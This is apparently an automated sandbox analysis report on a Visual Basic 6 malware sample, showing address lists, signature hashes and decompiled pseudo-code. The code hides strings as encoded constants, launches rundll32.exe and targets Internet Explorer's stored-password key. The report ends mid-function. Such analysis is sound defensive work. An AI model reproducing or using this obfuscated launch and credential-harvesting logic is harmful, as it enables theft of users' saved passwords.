                0x00433203
                0x00433211
                0x00433212
                0x00433213
                0x00433222
                0x00433227
                0x0043322b
                0x0043322e
                0x00433234
                0x00433239
                0x0043323a
                0x0043323e
                0x0043323f
                0x00433244
                0x00433245
                0x0043324a
                0x00433251
                0x00433252
                0x00433254
                0x0043325a
                0x0043325f
                0x00433260
                0x00433261
                0x00433266
                0x00433268
                0x0043326c
                0x0043326d
                0x00433278
                0x0043327a
                0x00433281
                0x00433282
                0x00433287
                0x00433291
                0x00433293
                0x0043329b
                0x0043329c
                0x0043329d
                0x004332a4
                0x004332a9
                0x004332a9
                0x004332ac
                0x004332b1
                0x004332b2
                0x004332b3
                0x004332b8
                0x004332c0
                0x004332c2
                0x004332c3
                0x004332ca
                0x004332ce
                0x004332d5
                0x004332d9
                0x004332e3
                0x004332ed
                0x004332f7
                0x00433301
                0x0043330b
                0x00433315
                0x00433328
                0x0043332f
                0x00433336
                0x0043333d
                0x00433344
                0x0043334b
                0x00433352
                0x00433359
                0x00433360
                0x00433367
                0x0043336b
                0x00433373
                0x0043337e
                0x0043338f
                0x00433397
                0x00433398
                0x004333a2
                0x004333a3
                0x004333a6
                0x004333ad
                0x004333ae
                0x004333bd
                0x004333be
                0x004333c3
                0x004333d0
                0x004333d1
                0x004333d5
                0x004333d8
                0x004333df
                0x004333e3
                0x004333ee
                0x004333f2
                0x004333f3
                0x004333f4
                0x004333f9
                0x004333fe
                0x00433403
                0x00433407
                0x0043340c
                0x00433412
                0x00433413
                0x00433418
                0x00433419
                0x0043341a
                0x0043341b
                0x00433420
                0x00433425
                0x00433427
                0x00433434
                0x00433435
                0x00433436
                0x0043343b
                0x00433445
                0x00433446
                0x00433458
                0x0043345f
                0x00433460
                0x00433465
                0x00433465
                0x00433425
                0x00433470
                0x00433475
                0x0043347c
                0x00433482
                0x00433484
                0x0043348c
                0x00433486
                0x00433486
                0x00433489
                0x00433490
                0x00433491
                0x00433499
                0x0043349b
                0x004334a0
                0x004334a5
                0x004334a7
                0x004334a8
                0x004334ad
                0x004334af
                0x004334b4
                0x004334b9
                0x004334bb
                0x004334bc
                0x004334c2
                0x004334c7
                0x004334d1
                0x004334d7
                0x00433643
                0x0043364b
                0x004334e5
                0x004334e6
                0x004334eb
                0x004334f0
                0x00000000
                0x004334f6
                0x00433502
                0x00433507
                0x00433513
                0x00433514
                0x00433515
                0x00433522
                0x00433527
                0x00433528
                0x00433531
                0x00433538
                0x00433539
                0x0043353a
                0x00433541
                0x00433543
                0x0043354a
                0x0043354b
                0x00433555
                0x0043355f
                0x00433569
                0x00433573
                0x0043357d
                0x00433587
                0x0043358e
                0x004335a2
                0x004335a7
                0x004335b1
                0x004335b7
                0x004335bd
                0x004335bf
                0x004335c7
                0x004335d2
                0x004335e1
                0x004335e2
                0x004335e3
                0x004335e4
                0x004335e9
                0x004335e9
                0x004335c7
                0x004335f0
                0x004335fb
                0x004335fe
                0x00433604
                0x00433609
                0x0043360e
                0x0043360f
                0x00433615
                0x00433616
                0x0043361c
                0x00433621
                0x00433622
                0x0043362b
                0x0043362e
                0x00433642
                0x00433642
                0x004334f0
                0x0043320a
                0x0043320a
                0x0043320a

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: $ x64$ x86$1$2.5$:$C$P$P$T$XLNG:$a$e$e$e$e$i$m$o$o$o$r$r$s$t$t$u
                • API String ID: 0-1309863547
                • Opcode ID: 694d3197379d5f92cca7d74d3831303fd746ca95ee0e0cc89790522d3a2dea99
                • Instruction ID: d4e802ac2ff3180223fb88ce64b5991f36530cb91e8ab065f2f1b976e41db9db
                • Opcode Fuzzy Hash: 694d3197379d5f92cca7d74d3831303fd746ca95ee0e0cc89790522d3a2dea99
                • Instruction Fuzzy Hash: DCE174B1910309AEEB24DFA5CC46FEFB7B8AF04304F00455EB50DA6141EBB96A54CFA5
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 37%
                			E00443B53(void* __ebx, void* __ecx, void* __edi, void* __esi, long long __fp0) {
                				intOrPtr _v8;
                				long long* _v12;
                				char _v28;
                				intOrPtr _v32;
                				char _v36;
                				char _v40;
                				char _v44;
                				intOrPtr _v52;
                				char _v60;
                				intOrPtr _v68;
                				char _v76;
                				intOrPtr _v84;
                				char _v92;
                				intOrPtr _v100;
                				char _v108;
                				char _v176;
                				char* _t54;
                				void* _t57;
                				intOrPtr* _t58;
                				void* _t59;
                				void* _t61;
                				intOrPtr* _t62;
                				void* _t63;
                				intOrPtr* _t64;
                				char _t65;
                				void* _t67;
                				intOrPtr* _t97;
                				intOrPtr* _t98;
                				intOrPtr* _t99;
                				intOrPtr* _t100;
                				intOrPtr* _t101;
                				intOrPtr _t104;
                				long long* _t105;
                				intOrPtr _t108;
                				intOrPtr _t111;
                
                				_push(0x401676);
                				_t54 =  *[fs:0x0];
                				_push(_t54);
                				 *[fs:0x0] = _t104;
                				_t105 = _t104 - 0xb4;
                				_v12 = _t105;
                				_v8 = 0x401640;
                				asm("fldz");
                				 *_t105 = __fp0;
                				_v28 = 0;
                				_v36 = 0;
                				_v40 = 0;
                				_v44 = 0;
                				_v60 = 0;
                				_v76 = 0;
                				_v92 = 0;
                				_v108 = 0;
                				_v176 = 0;
                				L00401724();
                				L0040172A();
                				asm("fcomp qword [0x401638]");
                				asm("fnstsw ax");
                				asm("sahf");
                				if(0 != 0) {
                					_push(0);
                					_push( &_v60);
                					_v52 = 1;
                					_v60 = 2;
                					L0040171E();
                					L0040183E();
                					L00401802();
                					_t108 =  *0x445380; // 0x4be8cc
                					if(_t108 == 0) {
                						_push(0x445380);
                						_push(0x43b86c);
                						L00401838();
                					}
                					_t97 =  *0x445380; // 0x4be8cc
                					_t57 =  *((intOrPtr*)( *_t97 + 0x14))(_t97,  &_v44);
                					asm("fclex");
                					if(_t57 < 0) {
                						_push(0x14);
                						_push(0x43b85c);
                						_push(_t97);
                						_push(_t57);
                						L00401832();
                					}
                					_t58 = _v44;
                					_t98 = _t58;
                					_t59 =  *((intOrPtr*)( *_t58 + 0xd0))(_t58,  &_v40);
                					asm("fclex");
                					if(_t59 < 0) {
                						_push(0xd0);
                						_push(0x43b87c);
                						_push(_t98);
                						_push(_t59);
                						L00401832();
                					}
                					_v40 = 0;
                					L0040183E();
                					L0040182C();
                					_t111 =  *0x445380; // 0x4be8cc
                					if(_t111 == 0) {
                						_push(0x445380);
                						_push(0x43b86c);
                						L00401838();
                					}
                					_t99 =  *0x445380; // 0x4be8cc
                					_t61 =  *((intOrPtr*)( *_t99 + 0x14))(_t99,  &_v44);
                					asm("fclex");
                					if(_t61 < 0) {
                						_push(0x14);
                						_push(0x43b85c);
                						_push(_t99);
                						_push(_t61);
                						L00401832();
                					}
                					_t62 = _v44;
                					_t100 = _t62;
                					_t63 =  *((intOrPtr*)( *_t62 + 0xb8))(_t62,  &_v176);
                					asm("fclex");
                					if(_t63 < 0) {
                						_push(0xb8);
                						_push(0x43b87c);
                						_push(_t100);
                						_push(_t63);
                						L00401832();
                					}
                					L0040182C();
                					L00401712();
                					_t64 =  &_v44;
                					L00401718();
                					_t101 = _t64;
                					_v100 = 0x80020004;
                					_v84 = 0x80020004;
                					_v68 = 0x80020004;
                					_v52 = 0x80020004;
                					_t65 = 0xa;
                					_v108 = _t65;
                					_v92 = _t65;
                					_v76 = _t65;
                					_v60 = _t65;
                					_t67 =  *((intOrPtr*)( *_t101 + 0x44))(_t101, 0x7304,  &_v60,  &_v76,  &_v92,  &_v108, _t64, _t63);
                					asm("fclex");
                					if(_t67 < 0) {
                						_push(0x44);
                						_push(0x43d964);
                						_push(_t101);
                						_push(_t67);
                						L00401832();
                					}
                					L0040182C();
                					_push( &_v108);
                					_push( &_v92);
                					_push( &_v76);
                					_t54 =  &_v60;
                					_push(_t54);
                					_push(4);
                					L0040181A();
                				}
                				asm("wait");
                				_push(0x443da0);
                				_v32 =  *0x401630;
                				L004017E4();
                				L004017E4();
                				return _t54;
                			}






































                0x00443b58
                0x00443b5d
                0x00443b63
                0x00443b64
                0x00443b6b
                0x00443b74
                0x00443b77
                0x00443b80
                0x00443b84
                0x00443b87
                0x00443b8a
                0x00443b8d
                0x00443b90
                0x00443b93
                0x00443b96
                0x00443b99
                0x00443b9c
                0x00443b9f
                0x00443ba5
                0x00443baa
                0x00443baf
                0x00443bb5
                0x00443bb7
                0x00443bb8
                0x00443bc1
                0x00443bc2
                0x00443bc3
                0x00443bca
                0x00443bd1
                0x00443bdb
                0x00443be3
                0x00443be8
                0x00443bee
                0x00443bf0
                0x00443bf5
                0x00443bfa
                0x00443bfa
                0x00443bff
                0x00443c0c
                0x00443c11
                0x00443c13
                0x00443c15
                0x00443c17
                0x00443c1c
                0x00443c1d
                0x00443c1e
                0x00443c1e
                0x00443c23
                0x00443c2d
                0x00443c2f
                0x00443c37
                0x00443c39
                0x00443c3b
                0x00443c40
                0x00443c45
                0x00443c46
                0x00443c47
                0x00443c47
                0x00443c52
                0x00443c55
                0x00443c5d
                0x00443c62
                0x00443c68
                0x00443c6a
                0x00443c6f
                0x00443c74
                0x00443c74
                0x00443c79
                0x00443c86
                0x00443c8b
                0x00443c8d
                0x00443c8f
                0x00443c91
                0x00443c96
                0x00443c97
                0x00443c98
                0x00443c98
                0x00443c9d
                0x00443caa
                0x00443cac
                0x00443cb4
                0x00443cb6
                0x00443cb8
                0x00443cbd
                0x00443cc2
                0x00443cc3
                0x00443cc4
                0x00443cc4
                0x00443ccc
                0x00443cd1
                0x00443cd7
                0x00443cdb
                0x00443ce7
                0x00443ce9
                0x00443cec
                0x00443cef
                0x00443cf2
                0x00443cf5
                0x00443cf9
                0x00443d08
                0x00443d0b
                0x00443d0e
                0x00443d1a
                0x00443d1f
                0x00443d21
                0x00443d23
                0x00443d25
                0x00443d2a
                0x00443d2b
                0x00443d2c
                0x00443d2c
                0x00443d34
                0x00443d3c
                0x00443d40
                0x00443d44
                0x00443d45
                0x00443d48
                0x00443d49
                0x00443d4b
                0x00443d50
                0x00443d59
                0x00443d5a
                0x00443d5f
                0x00443d92
                0x00443d9a
                0x00443d9f

                APIs
                • #585.MSVBVM60 ref: 00443BA5
                • __vbaFpR8.MSVBVM60 ref: 00443BAA
                • #705.MSVBVM60(?,00000000), ref: 00443BD1
                • __vbaStrMove.MSVBVM60(?,00000000), ref: 00443BDB
                • __vbaFreeVar.MSVBVM60(?,00000000), ref: 00443BE3
                • __vbaNew2.MSVBVM60(0043B86C,00445380,?,00000000), ref: 00443BFA
                • __vbaHresultCheckObj.MSVBVM60(00000000,004BE8CC,0043B85C,00000014), ref: 00443C1E
                • __vbaHresultCheckObj.MSVBVM60(00000000,?,0043B87C,000000D0), ref: 00443C47
                • __vbaStrMove.MSVBVM60(00000000,?,0043B87C,000000D0), ref: 00443C55
                • __vbaFreeObj.MSVBVM60(00000000,?,0043B87C,000000D0), ref: 00443C5D
                • __vbaNew2.MSVBVM60(0043B86C,00445380), ref: 00443C74
                • __vbaHresultCheckObj.MSVBVM60(00000000,004BE8CC,0043B85C,00000014), ref: 00443C98
                • __vbaHresultCheckObj.MSVBVM60(00000000,?,0043B87C,000000B8), ref: 00443CC4
                • __vbaFreeObj.MSVBVM60(00000000,?,0043B87C,000000B8), ref: 00443CCC
                • #685.MSVBVM60(00000000,?,0043B87C,000000B8), ref: 00443CD1
                • __vbaObjSet.MSVBVM60(?,00000000), ref: 00443CDB
                • __vbaHresultCheckObj.MSVBVM60(00000000,00000000,0043D964,00000044), ref: 00443D2C
                • __vbaFreeObj.MSVBVM60(00000000,00000000,0043D964,00000044), ref: 00443D34
                • __vbaFreeVarList.MSVBVM60(00000004,00000002,?,?,?), ref: 00443D4B
                • __vbaFreeStr.MSVBVM60(00443DA0), ref: 00443D92
                • __vbaFreeStr.MSVBVM60(00443DA0), ref: 00443D9A
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID: __vba$Free$CheckHresult$MoveNew2$#585#685#705List
                • String ID:
                • API String ID: 1883905597-0
                • Opcode ID: 1309761e5e1c50feb34aa4d74c1f3a44088372dbf98438e15364973609397bd9
                • Instruction ID: a17f56f14e3260181ad7d541b136d287005479e89a4715541606ac33ff77f0c9
                • Opcode Fuzzy Hash: 1309761e5e1c50feb34aa4d74c1f3a44088372dbf98438e15364973609397bd9
                • Instruction Fuzzy Hash: 83513CB1D00208AFDB04EF95C886EDEBBB8EF58704F54412BF505B71A1DB785A45CBA8
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 50%
                			E00433FBD(intOrPtr _a4, intOrPtr _a8, intOrPtr _a16, intOrPtr _a20) {
                				short _v6;
                				intOrPtr _v10;
                				intOrPtr _v14;
                				short _v16;
                				intOrPtr _v20;
                				intOrPtr _v24;
                				char _v28;
                				intOrPtr _v32;
                				intOrPtr _v36;
                				intOrPtr _v40;
                				intOrPtr _v44;
                				intOrPtr _v48;
                				intOrPtr _v52;
                				intOrPtr _v56;
                				char _v60;
                				intOrPtr _v64;
                				intOrPtr _v68;
                				intOrPtr _v72;
                				intOrPtr _v76;
                				intOrPtr _v80;
                				intOrPtr _v84;
                				intOrPtr _v88;
                				char _v92;
                				intOrPtr _v96;
                				intOrPtr _v100;
                				intOrPtr _v104;
                				char _v108;
                				intOrPtr _v112;
                				intOrPtr _v116;
                				intOrPtr _v120;
                				intOrPtr _v124;
                				intOrPtr _v128;
                				intOrPtr _v132;
                				intOrPtr _v136;
                				intOrPtr _v140;
                				intOrPtr _v144;
                				intOrPtr _v148;
                				intOrPtr _v152;
                				char _v156;
                				intOrPtr _v160;
                				intOrPtr _v164;
                				intOrPtr _v168;
                				char _v172;
                				short _v176;
                				short _v180;
                				char _v184;
                				intOrPtr _v188;
                				intOrPtr _v192;
                				intOrPtr _v196;
                				char _v200;
                				char _v264;
                				char _v268;
                				char _v522;
                				char _v524;
                				char _v1034;
                				char _v1036;
                				char* _t94;
                				void* _t99;
                				signed int _t104;
                				char* _t107;
                				intOrPtr _t138;
                				void* _t140;
                
                				_push(0xfe);
                				_push(0);
                				_push( &_v522);
                				_v184 = 0;
                				_v180 = 0;
                				_v176 = 0;
                				_v524 = 0;
                				L004494CD();
                				_push(0x1fe);
                				_push(0);
                				_t94 =  &_v1034;
                				_push(_t94);
                				_v1036 = 0;
                				L004494CD();
                				_push(_a8);
                				_push( &_v184);
                				L0044917D();
                				if(_t94 != 0) {
                					_t138 = _a4;
                					_v100 = 0;
                					_v96 = 0;
                					_v14 = 0;
                					_v10 = 0;
                					_v6 = 0;
                					_v72 = 0;
                					_v68 = 0;
                					_v64 = 0;
                					_v40 = 0;
                					_v36 = 0;
                					_v32 = 0;
                					_v128 = 0;
                					_v124 = 0;
                					_v120 = 0;
                					_v116 = 0;
                					_v112 = 0;
                					_v16 = 0;
                					_t29 =  &_v28; // 0x4344e2
                					_v108 = 0x2c0022;
                					_v104 = 0x20;
                					_v28 = 0x690077;
                					_v24 = 0x64006e;
                					_v20 = 0x720069;
                					_v92 = 0x53005c;
                					_v88 = 0x730079;
                					_v84 = 0x650074;
                					_v80 = 0x33006d;
                					_v76 = 0x32;
                					_v60 = 0x53005c;
                					_v56 = 0x730079;
                					_v52 = 0x4f0057;
                					_v48 = 0x360057;
                					_v44 = 0x34;
                					_v156 = 0x72005c;
                					_v152 = 0x6e0075;
                					_v148 = 0x6c0064;
                					_v144 = 0x33006c;
                					_v140 = 0x2e0032;
                					_v136 = 0x780065;
                					_v132 = 0x65;
                					E0043910D(_t138, _t29,  &_v524);
                					_v1036 = 0x22;
                					_t99 = E0043910D(_t138,  &_v28,  &_v1034);
                					_push( &_v184);
                					L004491CD();
                					_push(0);
                					if(_t99 != 0) {
                						_push( &_v92);
                						_push( &_v524);
                						L004498AD();
                						_push(0);
                						_push( &_v92);
                						_push( &_v1036);
                					} else {
                						_push( &_v60);
                						_push( &_v524);
                						L004498AD();
                						_push(0);
                						_push( &_v60);
                						_push( &_v1036);
                					}
                					L004498AD();
                					_push(0);
                					_push( &_v156);
                					_push( &_v524);
                					L004498AD();
                					_push(0);
                					_push( &_v156);
                					_push( &_v1036);
                					L004498AD();
                					_push(0);
                					_push( &_v172);
                					_push( &_v1036);
                					_v172 = 0x200022;
                					_v168 = 0x22;
                					_v164 = 0;
                					_v160 = 0;
                					L004498AD();
                					_push(0);
                					_push(_a16);
                					_push( &_v1036);
                					L004498AD();
                					_push(0);
                					_push( &_v108);
                					_t104 =  &_v1036;
                					_push(_t104);
                					L004498AD();
                					_push(_a20);
                					_push( &_v1036);
                					L0044973D();
                					_push(_t140 + _t104 * 2 - 0x408);
                					L00449B3D();
                					_push(0x40);
                					_push(0);
                					_push( &_v264);
                					L004494CD();
                					_push(0);
                					_push( &_v200);
                					_v196 = 0;
                					_v192 = 0;
                					_v188 = 0;
                					_t107 =  &_v268;
                					_push(_t107);
                					_push(0);
                					_push(0);
                					_push(0);
                					_push(0);
                					_push(0);
                					_push(0);
                					_push( &_v1036);
                					_push( &_v524);
                					_push(0);
                					_push(_t138);
                					_v200 = 0;
                					_v268 = 0x44;
                					L00447CED();
                					return _t107;
                				}
                				return _t94;
                			}

































































                0x00433fc8
                0x00433fcd
                0x00433fd4
                0x00433fd5
                0x00433fdf
                0x00433fe5
                0x00433feb
                0x00433ff2
                0x00433ff9
                0x00433ffe
                0x00433fff
                0x00434005
                0x00434006
                0x0043400d
                0x00434015
                0x0043401c
                0x0043401d
                0x00434027
                0x00434030
                0x00434035
                0x00434038
                0x0043403b
                0x0043403e
                0x00434041
                0x00434045
                0x00434048
                0x0043404b
                0x0043404e
                0x00434051
                0x00434054
                0x00434057
                0x0043405a
                0x0043405d
                0x00434060
                0x00434063
                0x0043406c
                0x00434071
                0x00434076
                0x0043407d
                0x00434084
                0x0043408b
                0x00434092
                0x00434099
                0x004340a0
                0x004340a7
                0x004340ae
                0x004340b5
                0x004340bc
                0x004340c3
                0x004340ca
                0x004340d1
                0x004340d8
                0x004340df
                0x004340e9
                0x004340f3
                0x004340fd
                0x00434107
                0x00434111
                0x0043411b
                0x00434122
                0x00434138
                0x0043413f
                0x0043414a
                0x0043414b
                0x00434153
                0x00434157
                0x0043417b
                0x00434182
                0x00434183
                0x00434188
                0x0043418d
                0x00434194
                0x00434159
                0x0043415c
                0x00434163
                0x00434164
                0x00434169
                0x0043416e
                0x00434175
                0x00434175
                0x00434195
                0x0043419d
                0x004341a5
                0x004341ac
                0x004341ad
                0x004341b2
                0x004341ba
                0x004341c1
                0x004341c2
                0x004341c9
                0x004341d0
                0x004341d7
                0x004341d8
                0x004341e2
                0x004341ec
                0x004341f2
                0x004341f8
                0x00434200
                0x00434202
                0x00434209
                0x0043420a
                0x0043420f
                0x00434214
                0x00434215
                0x0043421b
                0x0043421c
                0x00434227
                0x0043422e
                0x0043422f
                0x0043423e
                0x0043423f
                0x00434244
                0x0043424c
                0x0043424e
                0x0043424f
                0x00434256
                0x0043425d
                0x0043425e
                0x00434264
                0x0043426a
                0x00434270
                0x00434276
                0x00434277
                0x00434279
                0x0043427b
                0x0043427d
                0x0043427f
                0x00434281
                0x00434289
                0x00434290
                0x00434291
                0x00434293
                0x00434294
                0x0043429e
                0x004342a8
                0x00000000
                0x004342b0
                0x004342b4

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: $"$"$"$2$2$4$D$W$W$\$\$\$d$e$e$i$l$m$n$t$u$y$y$DC
                • API String ID: 0-1947695149
                • Opcode ID: 946506d6a73369409054a12a4b363489a602420aed6ef50f98ece0fd10ff2cf6
                • Instruction ID: 32b0cbb5f7b0928afa3e76504aa6a8919953de2aecaad149c59627a74e228dc7
                • Opcode Fuzzy Hash: 946506d6a73369409054a12a4b363489a602420aed6ef50f98ece0fd10ff2cf6
                • Instruction Fuzzy Hash: 758122B5C10318AEDB50DFA5CC45FDEB7B8AF48304F00419EA609B7141EBB55A89CF64
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 57%
                			E00443998(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
                				char _v8;
                				intOrPtr _v16;
                				intOrPtr _v20;
                				intOrPtr _v24;
                				intOrPtr _v28;
                				short _v40;
                				void* _v44;
                				void* _v48;
                				signed int _v56;
                				char _v64;
                				intOrPtr _v72;
                				char _v80;
                				intOrPtr _v88;
                				char _v96;
                				intOrPtr _v104;
                				char _v112;
                				char* _v120;
                				intOrPtr _v128;
                				char* _t48;
                				void* _t69;
                				void* _t71;
                				intOrPtr _t72;
                
                				_t72 = _t71 - 0x18;
                				 *[fs:0x0] = _t72;
                				L00401670();
                				_v28 = _t72;
                				_v24 = 0x4015e8;
                				_v20 = 0;
                				_v16 = 0;
                				_t48 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x401676, _t69);
                				_v8 = 1;
                				_v8 = 2;
                				_push(0x43d944);
                				L0040173C();
                				if(_t48 != 2) {
                					_v8 = 3;
                					_v56 = _v56 & 0x00000000;
                					_v64 = 2;
                					_push(0xfffffffe);
                					_push(0xfffffffe);
                					_push(0xfffffffe);
                					_push(0xffffffff);
                					_push( &_v64);
                					L00401736();
                					L0040183E();
                					L00401802();
                					_v8 = 4;
                					_push(0);
                					L00401814();
                					_v8 = 5;
                					_push(0);
                					_push(0);
                					_push(1);
                					L00401730();
                					L0040183E();
                					_v8 = 6;
                					_v104 = 0x80020004;
                					_v112 = 0xa;
                					_v88 = 0x80020004;
                					_v96 = 0xa;
                					_v72 = 0x80020004;
                					_v80 = 0xa;
                					_v120 = L"Gregarinian";
                					_v128 = 8;
                					L00401760();
                					_push( &_v112);
                					_push( &_v96);
                					_push( &_v80);
                					_push(0);
                					_push( &_v64);
                					L00401772();
                					_push( &_v112);
                					_push( &_v96);
                					_push( &_v80);
                					_t48 =  &_v64;
                					_push(_t48);
                					_push(4);
                					L0040181A();
                				}
                				_v8 = 8;
                				_push(0xffffffff);
                				L00401814();
                				_v8 = 9;
                				_v40 = 0x74be;
                				_push(0x443b2a);
                				L004017E4();
                				L004017E4();
                				return _t48;
                			}

























                0x0044399b
                0x004439aa
                0x004439b6
                0x004439be
                0x004439c1
                0x004439c8
                0x004439cf
                0x004439de
                0x004439e1
                0x004439e8
                0x004439ef
                0x004439f4
                0x004439fc
                0x00443a02
                0x00443a09
                0x00443a0d
                0x00443a14
                0x00443a16
                0x00443a18
                0x00443a1a
                0x00443a1f
                0x00443a20
                0x00443a2a
                0x00443a32
                0x00443a37
                0x00443a3e
                0x00443a40
                0x00443a45
                0x00443a4c
                0x00443a4e
                0x00443a50
                0x00443a52
                0x00443a5c
                0x00443a61
                0x00443a68
                0x00443a6f
                0x00443a76
                0x00443a7d
                0x00443a84
                0x00443a8b
                0x00443a92
                0x00443a99
                0x00443aa6
                0x00443aae
                0x00443ab2
                0x00443ab6
                0x00443ab7
                0x00443abc
                0x00443abd
                0x00443ac5
                0x00443ac9
                0x00443acd
                0x00443ace
                0x00443ad1
                0x00443ad2
                0x00443ad4
                0x00443ad9
                0x00443adc
                0x00443ae3
                0x00443ae5
                0x00443aea
                0x00443af1
                0x00443af7
                0x00443b1c
                0x00443b24
                0x00443b29

                APIs
                • __vbaChkstk.MSVBVM60(?,00401676), ref: 004439B6
                • __vbaI4Str.MSVBVM60(0043D944,?,?,?,?,00401676), ref: 004439F4
                • #704.MSVBVM60(00000002,000000FF,000000FE,000000FE,000000FE), ref: 00443A20
                • __vbaStrMove.MSVBVM60(00000002,000000FF,000000FE,000000FE,000000FE), ref: 00443A2A
                • __vbaFreeVar.MSVBVM60(00000002,000000FF,000000FE,000000FE,000000FE), ref: 00443A32
                • __vbaOnError.MSVBVM60(00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00443A40
                • #706.MSVBVM60(00000001,00000000,00000000,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00443A52
                • __vbaStrMove.MSVBVM60(00000001,00000000,00000000,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00443A5C
                • __vbaVarDup.MSVBVM60(?,?,?,?,?,?,?,00000001,00000000,00000000,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00443AA6
                • #595.MSVBVM60(00000002,00000000,0000000A,0000000A,0000000A,?,?,?,?,?,?,?,00000001,00000000,00000000,00000000), ref: 00443ABD
                • __vbaFreeVarList.MSVBVM60(00000004,00000002,0000000A,0000000A,0000000A,00000002,00000000,0000000A,0000000A,0000000A), ref: 00443AD4
                • __vbaOnError.MSVBVM60(000000FF,0043D944,?,?,?,?,00401676), ref: 00443AE5
                • __vbaFreeStr.MSVBVM60(00443B2A,000000FF,0043D944), ref: 00443B1C
                • __vbaFreeStr.MSVBVM60(00443B2A,000000FF,0043D944), ref: 00443B24
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID: __vba$Free$ErrorMove$#595#704#706ChkstkList
                • String ID: Gregarinian
                • API String ID: 2605556234-529014253
                • Opcode ID: af67841ca10b138bfb67680241a5f0c51a1e85694c6b92b1aada9ae9bff510d2
                • Instruction ID: 5a237eb89859ee1b0607d1250fb529b0f920f04435c0e7ec9315e6e0d098b143
                • Opcode Fuzzy Hash: af67841ca10b138bfb67680241a5f0c51a1e85694c6b92b1aada9ae9bff510d2
                • Instruction Fuzzy Hash: 1C410BB1D00208ABDB10EFD1C945BDDB7B9EF04714F60812AF1217B2E1DBB85A09CB59
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 88%
                			E00417FFD(void* __edi, void* __eflags, intOrPtr _a4) {
                				char _v8;
                				char _v12;
                				char _v60;
                				intOrPtr _v64;
                				intOrPtr _v68;
                				intOrPtr _v72;
                				intOrPtr _v76;
                				intOrPtr _v80;
                				intOrPtr _v84;
                				intOrPtr _v88;
                				intOrPtr _v92;
                				intOrPtr _v96;
                				intOrPtr _v100;
                				intOrPtr _v104;
                				intOrPtr _v108;
                				intOrPtr _v112;
                				intOrPtr _v116;
                				intOrPtr _v120;
                				intOrPtr _v124;
                				intOrPtr _v128;
                				intOrPtr _v132;
                				intOrPtr _v136;
                				char _v140;
                				short _v144;
                				short _v148;
                				short _v152;
                				short _v156;
                				short _v160;
                				short _v164;
                				short _v168;
                				short _v172;
                				short _v176;
                				char _v180;
                				char _v698;
                				char _v700;
                				char _v1218;
                				char _v1220;
                				char _v3778;
                				char _v3780;
                				void* __esi;
                				void* __ebp;
                				void* _t87;
                				void* _t95;
                				void* _t97;
                				void* _t101;
                				void* _t108;
                				void* _t115;
                				short _t118;
                				void* _t145;
                				intOrPtr _t147;
                				void* _t148;
                				void* _t149;
                				void* _t150;
                				void* _t152;
                				void* _t153;
                				void* _t155;
                				void* _t156;
                
                				_t118 = 0;
                				_v180 = 0;
                				_v176 = 0;
                				_v172 = 0;
                				_v168 = 0;
                				_v164 = 0;
                				_v160 = 0;
                				_v156 = 0;
                				_v152 = 0;
                				_v148 = 0;
                				_v144 = 0;
                				_v700 = 0;
                				E004206CD( &_v698, 0, 0x206);
                				_v1220 = 0;
                				E004206CD( &_v1218, 0, 0x206);
                				_v140 = 0x6e0049;
                				_v136 = 0x650074;
                				_v132 = 0x6e0072;
                				_v128 = 0x740065;
                				_v124 = 0x450020;
                				_v120 = 0x700078;
                				_v116 = 0x6f006c;
                				_v112 = 0x650072;
                				_v108 = 0x5c0072;
                				_v104 = 0x6e0049;
                				_v100 = 0x650074;
                				_v96 = 0x6c006c;
                				_v92 = 0x460069;
                				_v88 = 0x72006f;
                				_v84 = 0x73006d;
                				_v80 = 0x53005c;
                				_v76 = 0x6f0074;
                				_v72 = 0x610072;
                				_v68 = 0x650067;
                				_v64 = 0x32;
                				E004206CD( &_v60, 0, 0x30);
                				_t147 = _a4;
                				_push(1);
                				_push(0xd);
                				_push( &_v700);
                				_push(_t147);
                				L0041043D( &_v698,  &_v60, __edi, _t147);
                				 *((short*)(_t148 + E0042093D( &_v700) * 2 - 0x2b8)) = 0x5c;
                				_t121 = _t148 + E0042093D( &_v700) * 2 - 0x2b8;
                				_t87 = E004118ED(_t147, _t148 + E0042093D( &_v700) * 2 - 0x2b8);
                				_t150 = _t149 + 0x44;
                				if(_t87 != 0) {
                					_push(__edi);
                					_push(1);
                					_push(0xf);
                					_push(_t148 + E0042093D( &_v700) * 2 - 0x2b8);
                					_push(_t147);
